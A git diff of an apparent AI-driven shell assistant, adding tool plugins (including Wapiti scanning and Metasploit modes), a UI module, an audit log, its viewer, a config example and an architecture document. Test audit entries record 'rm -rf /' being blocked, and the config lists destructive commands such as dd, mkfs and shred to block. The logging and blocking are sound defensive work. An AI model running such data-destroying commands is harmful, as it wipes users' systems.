/dev/null +++ b/ai_shell/plugins/pulumi.py @@ -0,0 +1,32 @@ +"""Pulumi infrastructure-as-code assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +PULUMI_SYSTEM_PROMPT = ( + "You are an expert Pulumi infrastructure-as-code assistant. The user has the " + "`pulumi` CLI. Help them manage stacks, preview and deploy changes, work with " + "providers (AWS, Azure, GCP, Kubernetes, etc.), secrets, and configuration. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Always prefer `pulumi preview` before `pulumi up`. Warn strongly before " + "`pulumi destroy`, stack removal, or state surgery. " + "Explain stack references, outputs, and policy-as-code when relevant. " + "Support both TypeScript/Python/Go/C#/Java programs as the user prefers." +) + + +@register_plugin_class +class PulumiPlugin(ToolPlugin): + id = "pulumi" + name = "Pulumi Assistant" + description = "AI help for Pulumi stacks, previews, and multi-cloud IaC" + system_prompt = PULUMI_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("pulumi") is not None diff --git a/ai_shell/plugins/systemd.py b/ai_shell/plugins/systemd.py new file mode 100644 index 0000000..1d814f9 --- /dev/null +++ b/ai_shell/plugins/systemd.py @@ -0,0 +1,31 @@ +"""systemd / journalctl system service assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +SYSTEMD_SYSTEM_PROMPT = ( + "You are an expert Linux system administration assistant focused on systemd. " + "The user has `systemctl` and `journalctl` available. Help them manage services, " + "units, timers, sockets, targets, and inspect logs. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Prefer status/inspect commands first. Warn before `stop`, `disable`, " + "`mask`, or reboot-related operations on critical services. " + "Explain unit files, drop-ins, and common failure patterns when helpful." +) + + +@register_plugin_class +class SystemdPlugin(ToolPlugin): + id = "systemd" + name = "Systemd Assistant" + description = "AI help for systemctl, journalctl and service management" + system_prompt = SYSTEMD_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("systemctl") is not None diff --git a/ai_shell/plugins/terraform.py b/ai_shell/plugins/terraform.py new file mode 100644 index 0000000..bb74a99 --- /dev/null +++ b/ai_shell/plugins/terraform.py @@ -0,0 +1,31 @@ +"""Terraform infrastructure-as-code assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +TERRAFORM_SYSTEM_PROMPT = ( + "You are an expert Terraform / OpenTofu infrastructure-as-code assistant. " + "The user has the `terraform` (or `tofu`) CLI. Help them write HCL, manage " + "providers, modules, state, workspaces, and run plan/apply/destroy safely. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Always prefer `terraform plan` before `apply`. Warn strongly before " + "`destroy`, state surgery (`state rm`, `state mv`), or force-unlock. " + "Explain backends, remote state, and lock files when relevant." +) + + +@register_plugin_class +class TerraformPlugin(ToolPlugin): + id = "terraform" + name = "Terraform Assistant" + description = "AI help for Terraform/OpenTofu plans, state and modules" + system_prompt = TERRAFORM_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("terraform") is not None or shutil.which("tofu") is not None diff --git a/ai_shell/plugins/trivy.py b/ai_shell/plugins/trivy.py new file mode 100644 index 0000000..ec4830f --- /dev/null +++ b/ai_shell/plugins/trivy.py @@ -0,0 +1,31 @@ +"""Trivy security scanner assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +TRIVY_SYSTEM_PROMPT = ( + "You are an expert container and infrastructure security scanning assistant. " + "The user has the `trivy` CLI. Help them scan container images, filesystems, " + "Git repositories, Kubernetes clusters, and Infrastructure-as-Code for " + "vulnerabilities, misconfigurations, secrets, and licenses. " + "When you provide a command, enclose it in a ```bash ... ``` markdown block. " + "Explain severity levels, common CVE classes, and how to interpret results. " + "Suggest sensible filters (`--severity`, `--ignore-unfixed`) and output formats." +) + + +@register_plugin_class +class TrivyPlugin(ToolPlugin): + id = "trivy" + name = "Trivy Assistant" + description = "AI help for vulnerability & misconfiguration scanning" + system_prompt = TRIVY_SYSTEM_PROMPT + start_command = ["bash"] + requires_pty = True + color_key = "info" + + def check_available(self) -> bool: + import shutil + return shutil.which("trivy") is not None diff --git a/ai_shell/plugins/wapiti.py b/ai_shell/plugins/wapiti.py new file mode 100644 index 0000000..0b93f5d --- /dev/null +++ b/ai_shell/plugins/wapiti.py @@ -0,0 +1,36 @@ +"""Wapiti web application scanner assistant plugin.""" + +from __future__ import annotations + +from .base import ToolPlugin, register_plugin_class + + +WAPITI_SYSTEM_PROMPT = ( + "You are a world-class web application security expert. The user is in a shell environment " + "with the `wapiti` tool available. " + "Your primary goal is to help the user scan web applications for vulnerabilities effectively. " + "Provide guidance, explain web vulnerabilities (like XSS, SQLi, LFI), and suggest the exact " + "`wapiti` commands to perform scans. " + "When you provide a command for the user to execute, you MUST enclose it in a ```bash ... ``` " + "markdown block. " + "Example commands include `wapiti -u http://example.com`, " + "`wapiti -u http://test.com -m xss,sqli --scope domain`, " + "`wapiti -u http://vulnerable.site -x http://vulnerable.site/logout`. " + "Always remind the user to only scan applications they have explicit permission to test. " + "Be conversational and act as a senior security analyst." +) + + +@register_plugin_class +class WapitiPlugin(ToolPlugin): + id = "wapiti" + name = "Wapiti Assistant" + description = "AI-driven web application vulnerability scanning" + system_prompt = WAPITI_SYSTEM_PROMPT + start_command = ["bash"] # run inside a normal shell; user issues wapiti commands + requires_pty = True + color_key = "wapiti" + + def check_available(self) -> bool: + import shutil + return shutil.which("wapiti") is not None diff --git a/ai_shell/ui.py b/ai_shell/ui.py new file mode 100644 index 0000000..80aa974 --- /dev/null +++ b/ai_shell/ui.py @@ -0,0 +1,105 @@ +"""UI utilities and color management for AI Shell.""" + +try: + from colorama import init, Fore, Style + + init(autoreset=True) + COLORAMA_AVAILABLE = True +except ImportError: + COLORAMA_AVAILABLE = False + + +class Colors: + """ANSI color codes for terminal output.""" + + if COLORAMA_AVAILABLE: + RESET = Style.RESET_ALL + WARNING = Fore.YELLOW + Style.BRIGHT + INFO = Fore.BLUE + Style.BRIGHT + SUCCESS = Fore.GREEN + Style.BRIGHT + ERROR = Fore.RED + Style.BRIGHT + COMMAND = Fore.MAGENTA + Style.BRIGHT + PROMPT = Fore.CYAN + Style.BRIGHT + ASSISTANT = Fore.GREEN + Style.BRIGHT + METASPLOIT = Fore.RED + Style.BRIGHT + WAPITI = Fore.YELLOW + Style.BRIGHT + else: + # Fallback to basic ANSI codes + RESET = "\033[0m" + WARNING = "\033[1;33m" + INFO = "\033[1;34m" + SUCCESS = "\033[1;32m" + ERROR = "\033[1;31m" + COMMAND = "\033[1;35m" + PROMPT = "\033[1;36m" + ASSISTANT = "\033[1;32m" + METASPLOIT = "\033[1;31m" + WAPITI = "\033[1;38;5;208m" + + +colors = Colors() + + +def print_banner(): + """Print the application banner.""" + banner = f""" +{colors.SUCCESS}╔══════════════════════════════════════════════════════════════╗ +║ AI-Powered Shell Assistant ║ +║ Your Command-Line Copilot v0.1.0 ║ +╚══════════════════════════════════════════════════════════════╝{colors.RESET} +""" + print(banner) + + +def print_mode_selection(): + """Print mode selection menu.""" + print("Choose an operating mode:") + print(f"{colors.INFO}1. Command Translator{colors.RESET} (Prompt → Command)") + print(f"{colors.INFO}2. AI Assistant{colors.RESET} (Conversational shell help)") + print( + f"{colors.INFO}3. Metasploit Assistant{colors.RESET} (AI-driven penetration testing)" + ) + print( + f"{colors.INFO}4. Wapiti Assistant{colors.RESET} (AI-driven web app scanning)" + ) + + +def print_provider_selection(): + """Print LLM provider selection menu.""" + print("\nChoose an LLM provider:") + print(f"{colors.INFO}1. Gemini{colors.RESET} (Google's cloud API)") + print(f"{colors.INFO}2. Local LLM{colors.RESET} (Ollama)") + + +def print_local_model_selection(models): + """Print local model selection menu.""" + print("\nPlease choose a local LLM to run:") + for key, info in models.items(): + print( + f"{colors.INFO}{key}. {info['name']}{colors.RESET} (~{info['size_gb']} GB RAM)" + ) + + +def format_command_output(text: str) -> str: + """Format command output with appropriate colors.""" + return f"{colors.COMMAND}{text}{colors.RESET}" + + +def format_error(text: str) -> str: + """Format error message with appropriate colors.""" + return f"{colors.ERROR}Error: {text}{colors.RESET}" + + +def format_warning(text: str) -> str: + """Format warning message with appropriate colors.""" + return f"{colors.WARNING}Warning: {text}{colors.RESET}" + + +def format_info(text: str) -> str: + """Format info message with appropriate colors.""" + return f"{colors.INFO}{text}{colors.RESET}" + + +def format_success(text: str) -> str: + """Format success message with appropriate colors.""" + return f"{colors.SUCCESS}{text}{colors.RESET}" diff --git a/ai_shell_audit.jsonl b/ai_shell_audit.jsonl new file mode 100644 index 0000000..f87c03a --- /dev/null +++ b/ai_shell_audit.jsonl @@ -0,0 +1,27 @@ +{"timestamp": "2025-09-12T21:45:26.245618", "unix_timestamp": 1757713526.2456248, "event_type": "command_attempt", "command": "ls -la", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.246245", "unix_timestamp": 1757713526.2462485, "event_type": "command_execution", "command": "ls -la", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.0004951953887939453, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.247173", "unix_timestamp": 1757713526.247177, "event_type": "command_attempt", "command": "rm -rf /", "user_prompt": "delete everything", "security_status": "blocked", "warning_message": "This command is potentially dangerous and has been blocked", "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.248439", "unix_timestamp": 1757713526.248443, "event_type": "command_attempt", "command": "nonexistent_command", "user_prompt": "run fake command", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.248962", "unix_timestamp": 1757713526.2489657, "event_type": "command_execution", "command": "nonexistent_command", "user_prompt": "run fake command", "exit_code": 1, "success": false, "execution_time_seconds": 0.00042319297790527344, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.250630", "unix_timestamp": 1757713526.2506344, "event_type": "command_attempt", "command": "ls", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:26.251232", "unix_timestamp": 1757713526.2512364, "event_type": "command_execution", "command": "ls", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.0005013942718505859, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.737068", "unix_timestamp": 1757713533.737072, "event_type": "command_attempt", "command": "ls -la", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.737630", "unix_timestamp": 1757713533.7376332, "event_type": "command_execution", "command": "ls -la", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.00046181678771972656, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.738509", "unix_timestamp": 1757713533.738513, "event_type": "command_attempt", "command": "rm -rf /", "user_prompt": "delete everything", "security_status": "blocked", "warning_message": "This command is potentially dangerous and has been blocked", "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.740323", "unix_timestamp": 1757713533.7403274, "event_type": "command_attempt", "command": "nonexistent_command", "user_prompt": "run fake command", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.740811", "unix_timestamp": 1757713533.7408144, "event_type": "command_execution", "command": "nonexistent_command", "user_prompt": "run fake command", "exit_code": 1, "success": false, "execution_time_seconds": 0.0003867149353027344, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.742410", "unix_timestamp": 1757713533.7424142, "event_type": "command_attempt", "command": "ls", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:33.742933", "unix_timestamp": 1757713533.742937, "event_type": "command_execution", "command": "ls", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.0004191398620605469, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:52.330559", "unix_timestamp": 1757713552.330567, "event_type": "command_attempt", "command": "ls -la", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:52.330646", "unix_timestamp": 1757713552.3306491, "event_type": "command_execution", "command": "ls -la", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.1, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:52.330691", "unix_timestamp": 1757713552.330694, "event_type": "command_attempt", "command": "rm -rf /", "user_prompt": "delete everything", "security_status": "blocked", "warning_message": "Dangerous command", "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:45:52.330726", "unix_timestamp": 1757713552.330729, "event_type": "security_event", "security_event_type": "blocked_command", "command": "rm -rf /", "details": {"reason": "destructive command"}, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:06.666090", "unix_timestamp": 1757713626.6660979, "event_type": "command_attempt", "command": "ls -la", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:06.666176", "unix_timestamp": 1757713626.6661792, "event_type": "security_event", "security_event_type": "blocked_command", "command": "rm -rf /", "details": {"reason": "dangerous"}, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.012933", "unix_timestamp": 1757713634.0129383, "event_type": "command_attempt", "command": "ls -la", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.013517", "unix_timestamp": 1757713634.0135205, "event_type": "command_execution", "command": "ls -la", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.0004749298095703125, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.014424", "unix_timestamp": 1757713634.014428, "event_type": "command_attempt", "command": "rm -rf /", "user_prompt": "delete everything", "security_status": "blocked", "warning_message": "This command is potentially dangerous and has been blocked", "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.015709", "unix_timestamp": 1757713634.0157135, "event_type": "command_attempt", "command": "nonexistent_command", "user_prompt": "run fake command", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.016265", "unix_timestamp": 1757713634.0162683, "event_type": "command_execution", "command": "nonexistent_command", "user_prompt": "run fake command", "exit_code": 1, "success": false, "execution_time_seconds": 0.0004527568817138672, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.018425", "unix_timestamp": 1757713634.018429, "event_type": "command_attempt", "command": "ls", "user_prompt": "list files", "security_status": "allowed", "warning_message": null, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} +{"timestamp": "2025-09-12T21:47:14.018947", "unix_timestamp": 1757713634.0189505, "event_type": "command_execution", "command": "ls", "user_prompt": "list files", "exit_code": 0, "success": true, "execution_time_seconds": 0.00042176246643066406, "user_confirmed": true, "user": "runner", "working_directory": "/home/runner/work/Ai_shell/Ai_shell"} diff --git a/ai_shell_audit.py b/ai_shell_audit.py new file mode 100644 index 0000000..e56872d --- /dev/null +++ b/ai_shell_audit.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +""" +AI Shell Audit Log Viewer + +Simple utility to view and analyze AI Shell audit logs. +""" + +import argparse +import json +import sys +from datetime import datetime +from pathlib import Path + +from ai_shell.audit import get_audit_logger +from ai_shell.ui import format_info, format_warning, format_error, format_success + + +def print_command_history(limit: int = 10): + """Print recent command history.""" + audit_logger = get_audit_logger() + commands = audit_logger.get_recent_commands(limit) + + if not commands: + print(format_warning("No command history found")) + return + + print(format_info(f"Recent Commands (last {len(commands)}):")) + print("=" * 60) + + for i, cmd in enumerate(commands, 1): + timestamp = cmd.get("timestamp", "unknown") + command = cmd.get("command", "unknown") + success = cmd.get("success", False) + status_icon = "✅" if success else "❌" + + print(f"{i:2d}. {status_icon} [{timestamp}]") + print(f" Command: {command}") + print(f" Prompt: {cmd.get('user_prompt', 'N/A')}") + print(f" User: {cmd.get('user', 'unknown')}") + print() + + +def print_security_events(hours: int = 24): + """Print recent security events.""" + audit_logger = get_audit_logger() + events = audit_logger.get_security_events(hours) + + if not events: + print(format_info(f"No security events in the last {hours} hours")) + return + + print(format_warning(f"Security Events (last {hours} hours):")) + print("=" * 60) + + for i, event in enumerate(events, 1): + timestamp = event.get("timestamp", "unknown") + event_type = event.get("security_event_type", "unknown") + command = event.get("command", "unknown") + + print(f"{i:2d}. 🔒 [{timestamp}]") + print(f" Event: {event_type}") + print(f" Command: {command}") + print(f" User: {event.get('user', 'unknown')}") + if event.get("details"): + print(f" Details: {event['details']}") + print() + + +def print_audit_report(): + """Print comprehensive audit report.""" + audit_logger = get_audit_logger() + report = audit_logger.generate_audit_report() + + if "error" in report: + print(format_error(f"Error generating report: {report['error']}")) + return + + print(format_success("AI Shell Audit Report")) + print("=" * 50) + print(f"Total Commands: {report['total_commands']}") + print(f"Successful Commands: {report['successful_commands']}") + print(f"Failed Commands: {report['failed_commands']}") + print(f"Blocked Commands: {report['blocked_commands']}") + print(f"Security Events: {report['security_events']}") + print(f"Unique Users: {len(report['unique_users'])}") + + if report['unique_users']: + print(f"Users: {', '.join(report['unique_users'])}") + + if report['most_recent_activity']: + print(f"Last Activity: {report['most_recent_activity']}") + + if report['top_commands']: + print("\nTop Commands:") + for cmd, count in report['top_commands'].items(): + print(f" {cmd:15} {count:3d} times") + + +def export_audit_log(output_file: str, format_type: str = "json"): + """Export audit log to different formats.""" + audit_logger = get_audit_logger() + + if not Path(audit_logger.audit_file).exists(): + print(format_error("No audit log file found")) + return + + try: + with open(audit_logger.audit_file, 'r') as f: + lines = f.readlines() + + if format_type == "json": + # Pretty print JSON + with open(output_file, 'w') as f: + f.write('[\n') + for i, line in enumerate(lines): + if line.strip(): + entry = json.loads(line.strip()) + json.dump(entry, f, indent=2) + if i < len(lines) - 1: + f.write(',') + f.write('\n') + f.write(']\n') + + elif format_type == "csv": + import csv + + # Extract all entries and determine all possible fields + entries = [] + all_fields = set() + + for line in lines: + if line.strip(): + entry = json.loads(line.strip()) + entries.append(entry) + all_fields.update(entry.keys()) + + # Write CSV + with open(output_file, 'w', newline='') as f: + writer = csv.DictWriter(f, fieldnames=sorted(all_fields)) + writer.writeheader() + writer.writerows(entries) + + print(format_success(f"Audit log exported to {output_file} ({format_type} format)")) + + except Exception as e: + print(format_error(f"Failed to export audit log: {e}")) + + +def main(): + """Main CLI entry point.""" + parser = argparse.ArgumentParser( + description="AI Shell Audit Log Viewer", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + ai-shell-audit # Show recent commands + ai-shell-audit --history 20 # Show last 20 commands + ai-shell-audit --security # Show security events + ai-shell-audit --report # Show full audit report + ai-shell-audit --export audit.json # Export to JSON + """ + ) + + parser.add_argument( + '--history', '-H', type=int, metavar='N', + help='Show last N commands (default: 10)' + ) + + parser.add_argument( + '--security', '-s', action='store_true', + help='Show security events from last 24 hours' + ) + + parser.add_argument( + '--security-hours', type=int, default=24, metavar='HOURS', + help='Hours of security events to show (default: 24)' + ) + + parser.add_argument( + '--report', '-r', action='store_true', + help='Show comprehensive audit report' + ) + + parser.add_argument( + '--export', '-e', metavar='FILE', + help='Export audit log to file' + ) + + parser.add_argument( + '--format', choices=['json', 'csv'], default='json', + help='Export format (default: json)' + ) + + args = parser.parse_args() + + # If no specific action, show recent commands + if not any([args.security, args.report, args.export]): + print_command_history(args.history or 10) + + if args.security: + print_security_events(args.security_hours) + + if args.report: + print_audit_report() + + if args.export: + export_audit_log(args.export, args.format) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/config.yaml.example b/config.yaml.example new file mode 100644 index 0000000..0951d8e --- /dev/null +++ b/config.yaml.example @@ -0,0 +1,42 @@ +# AI Shell Configuration + +# LLM Provider Settings +llm: + provider: gemini # Options: 'gemini' or 'local' + + # Google Gemini settings + gemini: + api_key: "" # Set your Gemini API key here or use GEMINI_API_KEY environment variable + model: gemini-1.5-flash + + # Local LLM (Ollama) settings + local: + host: localhost + port: 11434 + model: llama3 # Available models: llama3, codellama, mistral, etc. + +# Logging configuration +logging: + level: INFO # Options: DEBUG, INFO, WARNING, ERROR + file: ai_shell.log + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' + +# Training data collection +training: + dataset_file: training_dataset.jsonl + auto_log: true # Automatically log training pairs for model improvement + +# Security settings +security: + require_confirmation: true # Require user confirmation before executing commands + dangerous_commands: + - rm -rf + - format + - dd if= + - mkfs + - fdisk + - parted + - wipefs + - shred + - chmod 777 + - chown -R root \ No newline at end of file diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md new file mode 100644 index 0000000..43de66b --- /dev/null +++ b/docs/ARCHITECTURE.md @@ -0,0 +1,384 @@ +# Architecture Overview + +This document provides a comprehensive overview of AI Shell's architecture, design patterns, and component interactions. + +## 🏗️ High-Level Architecture + +``` +┌─────────────────────────────────────────────────────┐ +│ User Interface │ +│ (ui.py) │ +└─────────────────────┬───────────────────────────────┘ + │ +┌─────────────────────▼───────────────────────────────┐ +│ Main Application │ +│ (main.py) │ +│ ┌─────────────┬─────────────┬─────────────────────┐│ +│ │ Mode │ Provider │ Security ││ +│ │ Selection │ Management │ Validation ││ +│ └─────────────┴─────────────┴─────────────────────┘│ +└─────────────────────┬───────────────────────────────┘ + │ + ┌─────────────┼─────────────┐ + │ │ │ + ▼ ▼ ▼ +┌─────────────┐ ┌──────────────┐ ┌──────────────┐ +│Configuration│ │ LLM Provider │ │ Command │ +│ Management │ │ (llm.py) │ │ Executor │ +│ (config.py) │ │ │ │ (executor.py)│ +└─────────────┘ └──────────────┘ └──────────────┘ + │ │ │ + └─────────────┼─────────────┘ + │ + ┌─────────────▼─────────────┐ + │ External Services │ + │ │ + │ ┌─────────┐ ┌───────────┐ │ + │ │ Gemini │ │ Ollama │ │ + │ │ API │ │ Local LLM │ │ + │ └─────────┘ └───────────┘ │ + │ │ + │ ┌─────────┐ ┌───────────┐ │ + │ │MSFConsole│ │ System │ │ + │ │ PTY │ │ Commands │ │ + │ └─────────┘ └───────────┘ │ + └──────────────────────────┘ +``` + +## 🧩 Core Components + +### 1. Main Application (`main.py`) + +**Responsibilities:** +- Application entry point and CLI argument parsing +- Mode selection and workflow orchestration +- Provider initialization and management +- Interactive terminal handling with PTY support + +**Key Functions:** +- `main()`: Primary application entry point +- `setup_logging()`: Logging configuration +- `parse_arguments()`: CLI argument handling +- `pty_loop_base()`: Generic PTY-based tool integration loop +- `metasploit_loop()` / `wapiti_loop()`: Mode-specific async PTY wrappers + +**Design Patterns:** +- Command Pattern: Mode selection and execution +- Factory Pattern: Provider instantiation +- Observer Pattern: Real-time output streaming + +### 2. Configuration Management (`config.py`) + +**Responsibilities:** +- YAML-based configuration loading and validation +- Environment variable integration +- Default value management +- Dynamic configuration updates + +**Key Classes:** +```python +class Config: + def __init__(self, config_data=None, config_file=None) + def get(self, key, default=None) + def set(self, key, value) + def save(self, filename) +``` + +**Configuration Structure:** +```yaml +llm: + provider: gemini|local + gemini: + api_key: string + model: string + local: + host: string + port: integer + model: string + +security: + require_confirmation: boolean + dangerous_commands: list + +logging: + level: DEBUG|INFO|WARNING|ERROR + file: string + format: string + +training: + dataset_file: string + auto_log: boolean +``` + +### 3. LLM Provider System (`llm.py`) + +**Architecture:** +```python +# Base Provider Interface +class LLMProvider: + def generate_response( + self, + prompt: str, + mode: str, + system_prompt: str = ASSISTANT_SYSTEM_PROMPT, + chat_session: Any = None, + ) -> Tuple[Optional[str], Any]: + raise NotImplementedError + +# Concrete Implementations +class GeminiProvider(LLMProvider) # Google Gemini via google-generativeai +class LocalLLMProvider(LLMProvider) # Local models via Ollama REST API +``` + +**Provider Selection Logic:** +```python +def get_llm_provider() -> LLMProvider: + config = get_config() + provider_type = config.get("llm.provider", "gemini") + if provider_type == "gemini": + return GeminiProvider(config.get("llm.gemini", {})) + elif provider_type == "local": + return LocalLLMProvider(config.get("llm.local", {})) +``` + +**System Prompts:** +- `TRANSLATOR_SYSTEM_PROMPT`: Command translation mode +- `ASSISTANT_SYSTEM_PROMPT`: Conversational assistance mode +- `METASPLOIT_SYSTEM_PROMPT`: Security testing mode +- `WAPITI_SYSTEM_PROMPT`: Web application scanning mode + +### 4. Command Execution (`executor.py`) + +**Security Architecture:** +```python +class SecurityChecker: + def is_dangerous_command(self, command: str) -> bool + def validate_command(self, command: str) -> Tuple[bool, Optional[str]] + +class CommandExecutor: + def execute_command(self, command: str, user_prompt: str) -> bool + +class TrainingDataLogger: + def log_training_pair(self, prompt: str, command: str, feedback: str) -> None + +def get_executor() -> CommandExecutor # Returns global singleton instance +``` + +**Security Layers:** +1. **Input Validation**: Command syntax and structure validation +2. **Dangerous Command Detection**: Pattern matching against known dangerous commands +3. **User Confirmation**: Interactive approval for command execution +4. **Output Sanitization**: Safe handling of command output + +**Execution Modes:** +- **Interactive**: Real-time output streaming with PTY +- **Batch**: Standard subprocess execution +- **Dry Run**: Validation without execution + +### 5. User Interface (`ui.py`) + +**Component Categories:** +```python +# Color and Formatting +colors = { + 'primary': '\033[96m', # Cyan + 'secondary': '\033[95m', # Magenta + 'success': '\033[92m', # Green + 'warning': '\033[93m', # Yellow + 'error': '\033[91m', # Red + 'info': '\033[94m', # Blue + 'reset': '\033[0m' # Reset +} + +# UI Components +def print_banner() +def print_mode_selection() +def print_provider_selection() +def format_command_output(output: str) -> str +``` + +**Responsive Design:** +- Terminal width detection +- Dynamic content wrapping +- Cross-platform color support + +## 🔄 Data Flow + +### Command Translation Flow + +```mermaid +graph TD + A[User Input] --> B[Input Validation] + B --> C[LLM Provider Selection] + C --> D[Generate Response] + D --> E[Extract Command] + E --> F[Security Validation] + F --> G{User Confirmation} + G -->|Yes| H[Execute Command] + G -->|No| I[Return to Input] + H --> J[Stream Output] + J --> K[Log Training Data] +``` + +### Configuration Loading Flow + +```mermaid +graph TD + A[Application Start] --> B{Config File Exists?} + B -->|Yes| C[Load YAML Config] + B -->|No| D[Use Default Config] + C --> E[Environment Variable Override] + D --> E + E --> F[Validate Configuration] + F --> G[Initialize Components] +``` + +### PTY Session Flow + +```mermaid +graph TD + A[Start PTY Session] --> B[Fork Process] + B --> C[Setup Master/Slave PTY] + C --> D[Launch Target Application] + D --> E[Real-time I/O Handling] + E --> F{User Input or Tool Output?} + F -->|User Input| G[Process with LLM if needed] + F -->|Tool Output| H[Display to User] + G --> I[Send to Tool] + H --> E + I --> E +``` + +## 🔒 Security Architecture + +### Defense in Depth + +1. **Input Layer** + - Command injection prevention + - Input sanitization + - Length and format validation + +2. **Validation Layer** + - Dangerous command detection + - Pattern matching + - Whitelist/blacklist enforcement + +3. **Execution Layer** + - User confirmation requirements + - Process isolation + - Resource limiting + +4. **Output Layer** + - Output sanitization + - Sensitive data filtering + - Logging and auditing + +### Threat Model + +**Threats Addressed:** +- Command injection attacks +- Malicious LLM responses +- Privilege escalation +- Data exfiltration +- Denial of service + +**Mitigations:** +- Input validation and sanitization +- Command whitelisting/blacklisting +- User confirmation workflows +- Process sandboxing +- Resource monitoring + +## 🧪 Testing Architecture + +### Test Categories + +1. **Unit Tests** + - Individual component testing + - Mock external dependencies + - Edge case validation + +2. **Integration Tests** + - Component interaction testing + - Configuration validation + - Provider integration + +3. **Security Tests** + - Command injection prevention + - Dangerous command detection + - Input validation + +4. **End-to-End Tests** + - Full workflow testing + - User interaction simulation + - Real provider integration + +### Test Structure + +``` +tests/ +├── unit/ +│ ├── test_config.py +│ ├── test_llm.py +│ ├── test_executor.py +│ └── test_ui.py +├── integration/ +│ ├── test_provider_integration.py +│ └── test_workflow_integration.py +├── security/ +│ ├── test_command_validation.py +│ └── test_injection_prevention.py +└── e2e/ + └── test_full_workflow.py +``` + +## 📊 Performance Considerations + +### Optimization Strategies + +1. **Async Operations** + - Non-blocking LLM API calls + - Concurrent request processing + - Real-time response streaming + +2. **Caching** + - Configuration caching + - Provider initialization caching + - Response pattern caching + +3. **Resource Management** + - Connection pooling for API calls + - Memory-efficient output streaming + - Process lifecycle management + +### Scalability + +- **Horizontal Scaling**: Multiple provider instances +- **Vertical Scaling**: Resource 